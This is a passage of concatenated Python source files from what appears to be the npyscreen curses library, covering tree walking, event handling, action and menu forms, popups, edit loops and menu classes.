p.getParent() 123 | 124 | def walkTree(self, onlyExpanded=True, ignoreRoot=True, sort=None, sort_function=None): 125 | #Iterate over Tree 126 | if sort is None: 127 | sort = self.sort 128 | 129 | if sort_function is None: 130 | sort_function = self.sort_function 131 | 132 | # example sort function # sort = True 133 | # example sort function # def sort_function(the_item): 134 | # example sort function # import email.utils 135 | # example sort function # if the_item: 136 | # example sort function # if the_item.getContent(): 137 | # example sort function # frm = the_item.getContent().get('from') 138 | # example sort function # try: 139 | # example sort function # frm = email.utils.parseaddr(frm)[0] 140 | # example sort function # except: 141 | # example sort function # pass 142 | # example sort function # return frm 143 | # example sort function # else: 144 | # example sort function # return the_item 145 | #key = operator.methodcaller('getContent',) 146 | 147 | if self.sort_function_wrapper and sort_function: 148 | # def wrapped_sort_function(the_item): 149 | # if the_item: 150 | # the_real_item = the_item.getContent() 151 | # return sort_function(the_real_item) 152 | # else: 153 | # return the_item 154 | # _this_sort_function = wrapped_sort_function 155 | _this_sort_function = self.create_wrapped_sort_function(sort_function) 156 | else: 157 | _this_sort_function = sort_function 158 | 159 | key = _this_sort_function 160 | if not ignoreRoot: 161 | yield self 162 | nodes_to_yield = collections.deque() # better memory management than a list for pop(0) 163 | if self.expanded or not onlyExpanded: 164 | if sort: 165 | # This and the similar block below could be combined into a nested function 166 | if key: 167 | nodes_to_yield.extend(sorted(self.getChildren(), key=key,)) 168 | else: 169 | nodes_to_yield.extend(sorted(self.getChildren())) 170 | else: 171 | nodes_to_yield.extend(self.getChildren()) 172 | while nodes_to_yield: 173 | child = nodes_to_yield.popleft() 174 | if child.expanded or not onlyExpanded: 175 | # This and the similar block above could be combined into a nested function 176 | if sort: 177 | if key: 178 | # must be reverse because about to use extendleft() below. 179 | nodes_to_yield.extendleft(sorted(child.getChildren(), key=key, reverse=True)) 180 | else: 181 | nodes_to_yield.extendleft(sorted(child.getChildren(), reverse=True)) 182 | else: 183 | #for node in child.getChildren(): 184 | # if node not in nodes_to_yield: 185 | # nodes_to_yield.appendleft(node) 186 | yield_these = list(child.getChildren()) 187 | yield_these.reverse() 188 | nodes_to_yield.extendleft(yield_these) 189 | del yield_these 190 | yield child 191 | 192 | def _walkTreeRecursive(self,onlyExpanded=True, ignoreRoot=True,): 193 | #This is an old, recursive version 194 | if (not onlyExpanded) or (self.expanded): 195 | for child in self.getChildren(): 196 | for node in child.walkTree(onlyExpanded=onlyExpanded, ignoreRoot=False): 197 | yield node 198 | 199 | def getTreeAsList(self, onlyExpanded=True, sort=None, key=None): 200 | _a = [] 201 | for node in self.walkTree(onlyExpanded=onlyExpanded, ignoreRoot=self.ignoreRoot, sort=sort): 202 | try: 203 | _a.append(weakref.proxy(node)) 204 | except: 205 | _a.append(node) 206 | return _a 207 | 208 | -------------------------------------------------------------------------------- /npyscreen/eveventhandler.py: -------------------------------------------------------------------------------- 1 | import weakref 2 | 3 | class Event(object): 4 | # a basic event class 5 | def __init__(self, name, payload=None): 6 | self.name = name 7 | self.payload = payload 8 | 9 | 10 | class EventHandler(object): 11 | # This partial base class provides the framework to handle events. 12 | 13 | def initialize_event_handling(self): 14 | self.event_handlers = {} 15 | 16 | def add_event_hander(self, event_name, handler): 17 | if not event_name in self.event_handlers: 18 | self.event_handlers[event_name] = set() # weakref.WeakSet() #Why doesn't the WeakSet work? 19 | self.event_handlers[event_name].add(handler) 20 | 21 | parent_app = self.find_parent_app() 22 | if parent_app: 23 | parent_app.register_for_event(self, event_name) 24 | else: 25 | # Probably are the parent App! 26 | # but could be a form outside a proper application environment 27 | try: 28 | self.register_for_event(self, event_name) 29 | except AttributeError: 30 | pass 31 | 32 | def remove_event_handler(self, event_name, handler): 33 | if event_name in self.event_handlers: 34 | self.event_handlers[event_name].remove(handler) 35 | if not self.event_handlers[event_name]: 36 | self.event_handlers.pop({}) 37 | 38 | 39 | def handle_event(self, event): 40 | "return True if the event was handled. Return False if the application should stop sending this event." 41 | if event.name not in self.event_handlers: 42 | return False 43 | else: 44 | remove_list = [] 45 | for handler in self.event_handlers[event.name]: 46 | try: 47 | handler(event) 48 | except weakref.ReferenceError: 49 | remove_list.append(handler) 50 | for dead_handler in remove_list: 51 | self.event_handlers[event.name].remove(handler) 52 | return True 53 | 54 | def find_parent_app(self): 55 | if hasattr(self, "parentApp"): 56 | return self.parentApp 57 | elif hasattr(self, "parent") and hasattr(self.parent, "parentApp"): 58 | return self.parent.parentApp 59 | else: 60 | return None 61 | 62 | -------------------------------------------------------------------------------- /npyscreen/fmActionForm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import weakref 3 | from . import fmForm 4 | from . import wgwidget as widget 5 | class ActionForm(fmForm.Form): 6 | """A form with OK and Cancel buttons. Users should override the on_ok and on_cancel methods.""" 7 | CANCEL_BUTTON_BR_OFFSET = (2, 12) 8 | OK_BUTTON_TEXT = "OK" 9 | CANCEL_BUTTON_TEXT = "Cancel" 10 | 11 | def set_up_exit_condition_handlers(self): 12 | super(ActionForm, self).set_up_exit_condition_handlers() 13 | self.how_exited_handers.update({ 14 | widget.EXITED_ESCAPE: self.find_cancel_button 15 | }) 16 | 17 | def find_cancel_button(self): 18 | self.editw = len(self._widgets__)-2 19 | 20 | def edit(self): 21 | # Add ok and cancel buttons. Will remove later 22 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx 23 | 24 | c_button_text = self.CANCEL_BUTTON_TEXT 25 | cmy, cmx = self.curses_pad.getmaxyx() 26 | cmy -= self.__class__.CANCEL_BUTTON_BR_OFFSET[0] 27 | cmx -= len(c_button_text)+self.__class__.CANCEL_BUTTON_BR_OFFSET[1] 28 | self.c_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=c_button_text, rely=cmy, relx=cmx, use_max_space=True) 29 | c_button_postion = len(self._widgets__)-1 30 | self.c_button.update() 31 | 32 | my, mx = self.curses_pad.getmaxyx() 33 | ok_button_text = self.OK_BUTTON_TEXT 34 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0] 35 | mx -= len(ok_button_text)+self.__class__.OK_BUTTON_BR_OFFSET[1] 36 | self.ok_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=ok_button_text, rely=my, relx=mx, use_max_space=True) 37 | ok_button_postion = len(self._widgets__)-1 38 | # End add buttons 39 | 40 | self.editing=True 41 | if self.editw < 0: self.editw=0 42 | if self.editw > len(self._widgets__)-1: 43 | self.editw = len(self._widgets__)-1 44 | if not self.preserve_selected_widget: 45 | self.editw = 0 46 | 47 | 48 | if not self._widgets__[self.editw].editable: self.find_next_editable() 49 | self.ok_button.update() 50 | 51 | self.display() 52 | 53 | while not self._widgets__[self.editw].editable: 54 | self.editw += 1 55 | if self.editw > len(self._widgets__)-2: 56 | self.editing = False 57 | return False 58 | 59 | self.edit_return_value = None 60 | while self.editing: 61 | if not self.ALL_SHOWN: self.on_screen() 62 | try: 63 | self.while_editing(weakref.proxy(self._widgets__[self.editw])) 64 | except TypeError: 65 | self.while_editing() 66 | self._widgets__[self.editw].edit() 67 | self._widgets__[self.editw].display() 68 | 69 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited) 70 | 71 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1 72 | if self.ok_button.value or self.c_button.value: 73 | self.editing = False 74 | 75 | if self.ok_button.value: 76 | self.ok_button.value = False 77 | self.edit_return_value = self.on_ok() 78 | elif self.c_button.value: 79 | self.c_button.value = False 80 | self.edit_return_value = self.on_cancel() 81 | 82 | self.ok_button.destroy() 83 | self.c_button.destroy() 84 | del self._widgets__[ok_button_postion] 85 | del self.ok_button 86 | del self._widgets__[c_button_postion] 87 | del self.c_button 88 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx 89 | self.display() 90 | self.editing = False 91 | 92 | return self.edit_return_value 93 | 94 | def on_cancel(self): 95 | pass 96 | 97 | def on_ok(self): 98 | pass 99 | 100 | def move_ok_button(self): 101 | super(ActionForm, self).move_ok_button() 102 | if hasattr(self, 'c_button'): 103 | c_button_text = self.CANCEL_BUTTON_TEXT 104 | cmy, cmx = self.curses_pad.getmaxyx() 105 | cmy -= self.__class__.CANCEL_BUTTON_BR_OFFSET[0] 106 | cmx -= len(c_button_text)+self.__class__.CANCEL_BUTTON_BR_OFFSET[1] 107 | self.c_button.rely = cmy 108 | self.c_button.relx = cmx 109 | 110 | 111 | 112 | class ActionFormExpanded(ActionForm): 113 | BLANK_LINES_BASE = 1 114 | OK_BUTTON_BR_OFFSET = (1,6) 115 | CANCEL_BUTTON_BR_OFFSET = (1, 12) 116 | 117 | -------------------------------------------------------------------------------- /npyscreen/fmActionFormV2.py: -------------------------------------------------------------------------------- 1 | import operator 2 | import weakref 3 | from . import wgwidget as widget 4 | from . import wgbutton 5 | from . import fmForm 6 | 7 | class ActionFormV2(fmForm.FormBaseNew): 8 | class OK_Button(wgbutton.MiniButtonPress): 9 | def whenPressed(self): 10 | return self.parent._on_ok() 11 | 12 | class Cancel_Button(wgbutton.MiniButtonPress): 13 | def whenPressed(self): 14 | return self.parent._on_cancel() 15 | 16 | OKBUTTON_TYPE = OK_Button 17 | CANCELBUTTON_TYPE = Cancel_Button 18 | CANCEL_BUTTON_BR_OFFSET = (2, 12) 19 | OK_BUTTON_TEXT = "OK" 20 | CANCEL_BUTTON_TEXT = "Cancel" 21 | def __init__(self, *args, **keywords): 22 | super(ActionFormV2, self).__init__(*args, **keywords) 23 | self._added_buttons = {} 24 | self.create_control_buttons() 25 | 26 | 27 | def create_control_buttons(self): 28 | self._add_button('ok_button', 29 | self.__class__.OKBUTTON_TYPE, 30 | self.__class__.OK_BUTTON_TEXT, 31 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[0], 32 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[1] - len(self.__class__.OK_BUTTON_TEXT), 33 | None 34 | ) 35 | 36 | self._add_button('cancel_button', 37 | self.__class__.CANCELBUTTON_TYPE, 38 | self.__class__.CANCEL_BUTTON_TEXT, 39 | 0 - self.__class__.CANCEL_BUTTON_BR_OFFSET[0], 40 | 0 - self.__class__.CANCEL_BUTTON_BR_OFFSET[1] - len(self.__class__.CANCEL_BUTTON_TEXT), 41 | None 42 | ) 43 | 44 | def on_cancel(self): 45 | pass 46 | 47 | def on_ok(self): 48 | pass 49 | 50 | def _on_ok(self): 51 | self.editing = self.on_ok() 52 | 53 | def _on_cancel(self): 54 | self.editing = self.on_cancel() 55 | 56 | def set_up_exit_condition_handlers(self): 57 | super(ActionFormV2, self).set_up_exit_condition_handlers() 58 | self.how_exited_handers.update({ 59 | widget.EXITED_ESCAPE: self.find_cancel_button 60 | }) 61 | 62 | def find_cancel_button(self): 63 | self.editw = len(self._widgets__)-2 64 | 65 | def _add_button(self, button_name, button_type, button_text, button_rely, button_relx, button_function): 66 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx 67 | this_button = self.add_widget( 68 | button_type, 69 | name=button_text, 70 | rely=button_rely, 71 | relx=button_relx, 72 | when_pressed_function = button_function, 73 | use_max_space=True, 74 | ) 75 | self._added_buttons[button_name] = this_button 76 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx 77 | 78 | 79 | def pre_edit_loop(self): 80 | self._widgets__.sort(key=operator.attrgetter('relx')) 81 | self._widgets__.sort(key=operator.attrgetter('rely')) 82 | if not self.preserve_selected_widget: 83 | self.editw = 0 84 | if not self._widgets__[self.editw].editable: 85 | self.find_next_editable() 86 | 87 | def post_edit_loop(self): 88 | pass 89 | 90 | def _during_edit_loop(self): 91 | pass 92 | 93 | class ActionFormExpandedV2(ActionFormV2): 94 | BLANK_LINES_BASE = 1 95 | OK_BUTTON_BR_OFFSET = (1,6) 96 | CANCEL_BUTTON_BR_OFFSET = (1, 12) 97 | 98 | class ActionFormMinimal(ActionFormV2): 99 | def create_control_buttons(self): 100 | self._add_button('ok_button', 101 | self.__class__.OKBUTTON_TYPE, 102 | self.__class__.OK_BUTTON_TEXT, 103 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[0], 104 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[1] - len(self.__class__.OK_BUTTON_TEXT), 105 | None 106 | ) 107 | 108 | -------------------------------------------------------------------------------- /npyscreen/fmFormMutt.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/env python 2 | import curses 3 | from . import fmForm 4 | from . import fmFormWithMenus 5 | from . import wgtextbox 6 | from . import wgmultiline 7 | #import grid 8 | #import editmultiline 9 | 10 | 11 | class FormMutt(fmForm.FormBaseNew): 12 | BLANK_LINES_BASE = 0 13 | BLANK_COLUMNS_RIGHT = 0 14 | DEFAULT_X_OFFSET = 2 15 | FRAMED = False 16 | MAIN_WIDGET_CLASS = wgmultiline.MultiLine 17 | MAIN_WIDGET_CLASS_START_LINE = 1 18 | STATUS_WIDGET_CLASS = wgtextbox.Textfield 19 | STATUS_WIDGET_X_OFFSET = 0 20 | COMMAND_WIDGET_CLASS= wgtextbox.Textfield 21 | COMMAND_WIDGET_NAME = None 22 | COMMAND_WIDGET_BEGIN_ENTRY_AT = None 23 | COMMAND_ALLOW_OVERRIDE_BEGIN_ENTRY_AT = True 24 | #MAIN_WIDGET_CLASS = grid.SimpleGrid 25 | #MAIN_WIDGET_CLASS = editmultiline.MultiLineEdit 26 | def __init__(self, cycle_widgets = True, *args, **keywords): 27 | super(FormMutt, self).__init__(cycle_widgets=cycle_widgets, *args, **keywords) 28 | 29 | 30 | def draw_form(self): 31 | MAXY, MAXX = self.lines, self.columns #self.curses_pad.getmaxyx() 32 | self.curses_pad.hline(0, 0, curses.ACS_HLINE, MAXX-1) 33 | self.curses_pad.hline(MAXY-2-self.BLANK_LINES_BASE, 0, curses.ACS_HLINE, MAXX-1) 34 | 35 | def create(self): 36 | MAXY, MAXX = self.lines, self.columns 37 | 38 | self.wStatus1 = self.add(self.__class__.STATUS_WIDGET_CLASS, rely=0, 39 | relx=self.__class__.STATUS_WIDGET_X_OFFSET, 40 | editable=False, 41 | ) 42 | 43 | if self.__class__.MAIN_WIDGET_CLASS: 44 | self.wMain = self.add(self.__class__.MAIN_WIDGET_CLASS, 45 | rely=self.__class__.MAIN_WIDGET_CLASS_START_LINE, 46 | relx=0, max_height = -2, 47 | ) 48 | self.wStatus2 = self.add(self.__class__.STATUS_WIDGET_CLASS, rely=MAXY-2-self.BLANK_LINES_BASE, 49 | relx=self.__class__.STATUS_WIDGET_X_OFFSET, 50 | editable=False, 51 | ) 52 | 53 | if not self.__class__.COMMAND_WIDGET_BEGIN_ENTRY_AT: 54 | self.wCommand = self.add(self.__class__.COMMAND_WIDGET_CLASS, name=self.__class__.COMMAND_WIDGET_NAME, 55 | rely = MAXY-1-self.BLANK_LINES_BASE, relx=0,) 56 | else: 57 | self.wCommand = self.add( 58 | self.__class__.COMMAND_WIDGET_CLASS, name=self.__class__.COMMAND_WIDGET_NAME, 59 | rely = MAXY-1-self.BLANK_LINES_BASE, relx=0, 60 | begin_entry_at = self.__class__.COMMAND_WIDGET_BEGIN_ENTRY_AT, 61 | allow_override_begin_entry_at = self.__class__.COMMAND_ALLOW_OVERRIDE_BEGIN_ENTRY_AT 62 | ) 63 | 64 | self.wStatus1.important = True 65 | self.wStatus2.important = True 66 | self.nextrely = 2 67 | 68 | def h_display(self, input): 69 | super(FormMutt, self).h_display(input) 70 | if hasattr(self, 'wMain'): 71 | if not self.wMain.hidden: 72 | self.wMain.display() 73 | 74 | def resize(self): 75 | super(FormMutt, self).resize() 76 | MAXY, MAXX = self.lines, self.columns 77 | self.wStatus2.rely = MAXY-2-self.BLANK_LINES_BASE 78 | self.wCommand.rely = MAXY-1-self.BLANK_LINES_BASE 79 | 80 | class FormMuttWithMenus(FormMutt, fmFormWithMenus.FormBaseNewWithMenus): 81 | def __init__(self, *args, **keywords): 82 | super(FormMuttWithMenus, self).__init__(*args, **keywords) 83 | self.initialize_menus() 84 | -------------------------------------------------------------------------------- /npyscreen/fmFormWithMenus.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import curses 4 | from . import fmForm 5 | from . import fmActionForm 6 | from . import fmActionFormV2 7 | from . import wgNMenuDisplay 8 | 9 | class FormBaseNewWithMenus(fmForm.FormBaseNew, wgNMenuDisplay.HasMenus): 10 | """The FormBaseNew class, but with a handling system for menus as well. See the HasMenus class for details.""" 11 | def __init__(self, *args, **keywords): 12 | super(FormBaseNewWithMenus, self).__init__(*args, **keywords) 13 | self.initialize_menus() 14 | 15 | def display_menu_advert_at(self): 16 | return self.lines-1, 1 17 | 18 | def draw_form(self): 19 | super(FormBaseNewWithMenus, self).draw_form() 20 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu " 21 | if isinstance(menu_advert, bytes): 22 | menu_advert = menu_advert.decode('utf-8', 'replace') 23 | y, x = self.display_menu_advert_at() 24 | self.add_line(y, x, 25 | menu_advert, 26 | self.make_attributes_list(menu_advert, curses.A_NORMAL), 27 | self.columns - x - 1 28 | ) 29 | 30 | 31 | class FormWithMenus(fmForm.Form, wgNMenuDisplay.HasMenus): 32 | """The Form class, but with a handling system for menus as well. See the HasMenus class for details.""" 33 | def __init__(self, *args, **keywords): 34 | super(FormWithMenus, self).__init__(*args, **keywords) 35 | self.initialize_menus() 36 | 37 | def display_menu_advert_at(self): 38 | return self.lines-1, 1 39 | 40 | def draw_form(self): 41 | super(FormWithMenus, self).draw_form() 42 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu " 43 | y, x = self.display_menu_advert_at() 44 | if isinstance(menu_advert, bytes): 45 | menu_advert = menu_advert.decode('utf-8', 'replace') 46 | self.add_line(y, x, 47 | menu_advert, 48 | self.make_attributes_list(menu_advert, curses.A_NORMAL), 49 | self.columns - x - 1 50 | ) 51 | 52 | # The following class does not inherit from FormWithMenus and so some code is duplicated. 53 | # The pig is getting to inherit edit() from ActionForm, but draw_form from FormWithMenus 54 | class ActionFormWithMenus(fmActionForm.ActionForm, wgNMenuDisplay.HasMenus): 55 | def __init__(self, *args, **keywords): 56 | super(ActionFormWithMenus, self).__init__(*args, **keywords) 57 | self.initialize_menus() 58 | 59 | def display_menu_advert_at(self): 60 | return self.lines-1, 1 61 | 62 | def draw_form(self): 63 | super(ActionFormWithMenus, self).draw_form() 64 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu " 65 | y, x = self.display_menu_advert_at() 66 | 67 | if isinstance(menu_advert, bytes): 68 | menu_advert = menu_advert.decode('utf-8', 'replace') 69 | self.add_line(y, x, 70 | menu_advert, 71 | self.make_attributes_list(menu_advert, curses.A_NORMAL), 72 | self.columns - x - 1 73 | ) 74 | 75 | class ActionFormV2WithMenus(fmActionFormV2.ActionFormV2, wgNMenuDisplay.HasMenus): 76 | def __init__(self, *args, **keywords): 77 | super(ActionFormV2WithMenus, self).__init__(*args, **keywords) 78 | self.initialize_menus() 79 | 80 | 81 | 82 | class SplitFormWithMenus(fmForm.SplitForm, FormWithMenus): 83 | """Just the same as the Title Form, but with a horizontal line""" 84 | def draw_form(self): 85 | super(SplitFormWithMenus, self).draw_form() 86 | 87 | -------------------------------------------------------------------------------- /npyscreen/fmPopup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # encoding: utf-8 3 | 4 | from . import fmForm 5 | from . import fmActionFormV2 6 | import curses 7 | 8 | 9 | class Popup(fmForm.Form): 10 | DEFAULT_LINES = 12 11 | DEFAULT_COLUMNS = 60 12 | SHOW_ATX = 10 13 | SHOW_ATY = 2 14 | 15 | class ActionPopup(fmActionFormV2.ActionFormV2): 16 | DEFAULT_LINES = 12 17 | DEFAULT_COLUMNS = 60 18 | SHOW_ATX = 10 19 | SHOW_ATY = 2 20 | 21 | 22 | class MessagePopup(Popup): 23 | def __init__(self, *args, **keywords): 24 | from . import wgmultiline as multiline 25 | super(MessagePopup, self).__init__(*args, **keywords) 26 | self.TextWidget = self.add(multiline.Pager, scroll_exit=True, max_height=self.widget_useable_space()[0]-2) 27 | 28 | class PopupWide(Popup): 29 | DEFAULT_LINES = 14 30 | DEFAULT_COLUMNS = None 31 | SHOW_ATX = 0 32 | SHOW_ATY = 0 33 | 34 | class ActionPopupWide(fmActionFormV2.ActionFormV2): 35 | DEFAULT_LINES = 14 36 | DEFAULT_COLUMNS = None 37 | SHOW_ATX = 0 38 | SHOW_ATY = 0 39 | -------------------------------------------------------------------------------- /npyscreen/fm_form_edit_loop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | """ 4 | form_edit_loop.py 5 | 6 | Created by Nicholas Cole on 2008-03-31. 7 | Copyright (c) 2008 __MyCompanyName__. All rights reserved. 8 | """ 9 | 10 | import sys 11 | import os 12 | import weakref 13 | 14 | class FormNewEditLoop(object): 15 | "Edit Fields .editing = False" 16 | def pre_edit_loop(self): 17 | pass 18 | def post_edit_loop(self): 19 | pass 20 | def _during_edit_loop(self): 21 | pass 22 | 23 | def edit_loop(self): 24 | self.editing = True 25 | self.display() 26 | while not (self._widgets__[self.editw].editable and not self._widgets__[self.editw].hidden): 27 | self.editw += 1 28 | if self.editw > len(self._widgets__)-1: 29 | self.editing = False 30 | return False 31 | 32 | while self.editing: 33 | if not self.ALL_SHOWN: self.on_screen() 34 | self.while_editing(weakref.proxy(self._widgets__[self.editw])) 35 | self._during_edit_loop() 36 | if not self.editing: 37 | break 38 | self._widgets__[self.editw].edit() 39 | self._widgets__[self.editw].display() 40 | 41 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited) 42 | 43 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1 44 | 45 | def edit(self): 46 | self.pre_edit_loop() 47 | self.edit_loop() 48 | self.post_edit_loop() 49 | 50 | class FormDefaultEditLoop(object): 51 | def edit(self): 52 | """Edit the fields until the user selects the ok button added in the lower right corner. Button will 53 | be removed when editing finishes""" 54 | # Add ok button. Will remove later 55 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx 56 | my, mx = self.curses_pad.getmaxyx() 57 | ok_button_text = self.__class__.OK_BUTTON_TEXT 58 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0] 59 | mx -= len(ok_button_text)+self.__class__.OK_BUTTON_BR_OFFSET[1] 60 | self.ok_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=ok_button_text, rely=my, relx=mx, use_max_space=True) 61 | ok_button_postion = len(self._widgets__)-1 62 | self.ok_button.update() 63 | # End add buttons 64 | self.editing=True 65 | if self.editw < 0: self.editw=0 66 | if self.editw > len(self._widgets__)-1: 67 | self.editw = len(self._widgets__)-1 68 | if not self.preserve_selected_widget: 69 | self.editw = 0 70 | if not self._widgets__[self.editw].editable: self.find_next_editable() 71 | 72 | 73 | self.display() 74 | 75 | while not (self._widgets__[self.editw].editable and not self._widgets__[self.editw].hidden): 76 | self.editw += 1 77 | if self.editw > len(self._widgets__)-1: 78 | self.editing = False 79 | return False 80 | 81 | while self.editing: 82 | if not self.ALL_SHOWN: self.on_screen() 83 | self.while_editing(weakref.proxy(self._widgets__[self.editw])) 84 | if not self.editing: 85 | break 86 | self._widgets__[self.editw].edit() 87 | self._widgets__[self.editw].display() 88 | 89 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited) 90 | 91 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1 92 | if self.ok_button.value: 93 | self.editing = False 94 | 95 | self.ok_button.destroy() 96 | del self._widgets__[ok_button_postion] 97 | del self.ok_button 98 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx 99 | self.display() 100 | 101 | #try: 102 | # self.parentApp._FORM_VISIT_LIST.pop() 103 | #except: 104 | # pass 105 | 106 | 107 | self.editing = False 108 | self.erase() 109 | 110 | def move_ok_button(self): 111 | if hasattr(self, 'ok_button'): 112 | my, mx = self.curses_pad.getmaxyx() 113 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0] 114 | mx -= len(self.__class__.OK_BUTTON_TEXT)+self.__class__.OK_BUTTON_BR_OFFSET[1] 115 | self.ok_button.relx = mx 116 | self.ok_button.rely = my 117 | 118 | 119 | 120 | -------------------------------------------------------------------------------- /npyscreen/globals.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | DEBUG = False 4 | DISABLE_RESIZE_SYSTEM = False -------------------------------------------------------------------------------- /npyscreen/muMenu.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # encoding: utf-8 3 | 4 | import sys 5 | import os 6 | from . import wgmultiline 7 | from . import fmForm 8 | import weakref 9 | 10 | 11 | class Menu(object): 12 | "This class is obsolete and Depricated. Use NewMenu instead." 13 | 14 | def __init__(self, name=None, show_atx=None, show_aty=None): 15 | self.__menu_items = [] 16 | self.name = name 17 | self.__show_atx = show_atx 18 | self.__show_aty = show_aty 19 | 20 | def before_item_select(self): 21 | pass 22 | 23 | def add_item(self, text, func): 24 | self.__menu_items.append((text, func)) 25 | 26 | def set_menu(self, pairs): 27 | """Pass in a list of pairs of text labels and functions""" 28 | self.__menu_items = [] 29 | for pair in pairs: 30 | self.add_item(pair[0], pair[1]) 31 | 32 | def edit(self, *args, **keywords): 33 | """Display choice to user, execute function associated""" 34 | 35 | menu_text = [x[0] for x in self.__menu_items] 36 | 37 | longest_text = 0 38 | #Slightly different layout if we are showing a title 39 | if self.name: longest_text=len(self.name)+2 40 | for item in menu_text: 41 | if len(item) > longest_text: 42 | longest_text = len(item) 43 | 44 | height = len(menu_text) 45 | if self.name: 46 | height +=3 47 | else: 48 | height +=2 49 | 50 | if height > 14: 51 | height = 13 52 | 53 | atx = self.__show_atx or 20 54 | aty = self.__show_aty or 2 55 | 56 | popup = fmForm.Form(name=self.name, 57 | lines=height, columns=longest_text+4, 58 | show_aty=aty, show_atx=atx, ) 59 | if not self.name: popup.nextrely = 1 60 | l = popup.add(wgmultiline.MultiLine, 61 | values=menu_text, 62 | #exit_left=True, 63 | return_exit=True) 64 | 65 | popup.display() 66 | l.edit() 67 | if l.value is not None: 68 | self.before_item_select() 69 | self.__menu_items[l.value][1]() 70 | 71 | -------------------------------------------------------------------------------- /npyscreen/muNewMenu.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import weakref 4 | 5 | 6 | class NewMenu(object): 7 | """docstring for NewMenu""" 8 | def __init__(self, name=None, shortcut=None, preDisplayFunction=None, pdfuncArguments=None, pdfuncKeywords=None): 9 | self.name = name 10 | self._menuList = [] 11 | self.enabled = True 12 | self.shortcut = shortcut 13 | self.pre_display_function = preDisplayFunction 14 | self.pdfunc_arguments= pdfuncArguments or () 15 | self.pdfunc_keywords = pdfuncKeywords or {} 16 | 17 | def addItemsFromList(self, item_list): 18 | for l in item_list: 19 | if isinstance(l, MenuItem): 20 | self.addNewSubmenu(*l) 21 | else: 22 | self.addItem(*l) 23 | 24 | def addItem(self, *args, **keywords): 25 | _itm = MenuItem(*args, **keywords) 26 | self._menuList.append(_itm) 27 | 28 | def addSubmenu(self, submenu): 29 | "Not recommended. Use addNewSubmenu instead" 30 | _itm = submenu 31 | self._menuList.append(submenu) 32 | 33 | def addNewSubmenu(self, *args, **keywords): 34 | _mnu = NewMenu(*args, **keywords) 35 | self._menuList.append(_mnu) 36 | return weakref.proxy(_mnu) 37 | 38 | def getItemObjects(self): 39 | return [itm for itm in self._menuList if itm.enabled] 40 | 41 | def do_pre_display_function(self): 42 | if self.pre_display_function: 43 | return self.pre_display_function(*self.pdfunc_arguments, **self.pdfunc_keywords) 44 | 45 | class MenuItem(object): 46 | """docstring for MenuItem""" 47 | def __init__(self, text='', onSelect=None, shortcut=None, document=None, arguments=None, keywords=None): 48 | self.setText(text) 49 | self.setOnSelect(onSelect) 50 | self.setDocumentation(document) 51 | self.shortcut = shortcut 52 | self.enabled = True 53 | self.arguments = arguments or () 54 | self.keywords = keywords or {} 55 | 56 | def setText(self, text): 57 | self._text = text 58 | 59 | def getText(self): 60 | return self._text 61 | 62 | def setOnSelect(self, onSelect): 63 | self.onSelectFunction = onSelect 64 | 65 | def setDocumentation(self, document): 66 | self._help = document 67 | 68 | def getDocumentation(self): 69 | return self._help 70 | 71 | def getHelp(self): 72 | return self._help 73 | 74 | def do(self): 75 | if self.onSelectFunction: 76 | return self.onSelectFunction(*self.arguments, **self.keywords) 77 | -------------------------------------------------------------------------------- /npyscreen/npysGlobalOptions.py: -------------------------------------------------------------------------------- 1 | DISABLE_ALL_COLORS = False 2 | ASCII_ONLY = False # See the safe_string function in wgwidget. At the moment the encoding is not safe -------------------------------------------------------------------------------- /npyscreen/npysNPSFilteredData.py: -------------------------------------------------------------------------------- 1 | class NPSFilteredDataBase(object): 2 | def __init__(self, values=None): 3 | self._values = None 4 | self._filter = None 5 | self._filtered_values = None 6 | self.set_values(values) 7 | 8 | def set_values(self, value): 9 | self._values = value 10 | 11 | def get_all_values(self): 12 | return self._values 13 | 14 | def set_filter(self, this_filter): 15 | self._filter = this_filter 16 | self._apply_filter() 17 | 18 | def filter_data(self): 19 | # should set self._filtered_values to the filtered values 20 | raise Exception("You need to define the way the filter operates") 21 | 22 | def get(self): 23 | self._apply_filter() 24 | return self._filtered_values 25 | 26 | def _apply_filter(self): 27 | # Could do some caching here - but the default definition does not. 28 | self._filtered_values = self.filter_data() 29 | 30 | class NPSFilteredDataList(NPSFilteredDataBase): 31 | def filter_data(self): 32 | if self._filter and self.get_all_values(): 33 | return [x for x in self.get_all_values() if self._filter in x] 34 | else: 35 | return self.get_all_values() 36 | 37 | 38 | -------------------------------------------------------------------------------- /npyscreen/npysThemeManagers.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import curses 4 | from . import npysGlobalOptions 5 | 6 | def disableColor(): 7 | 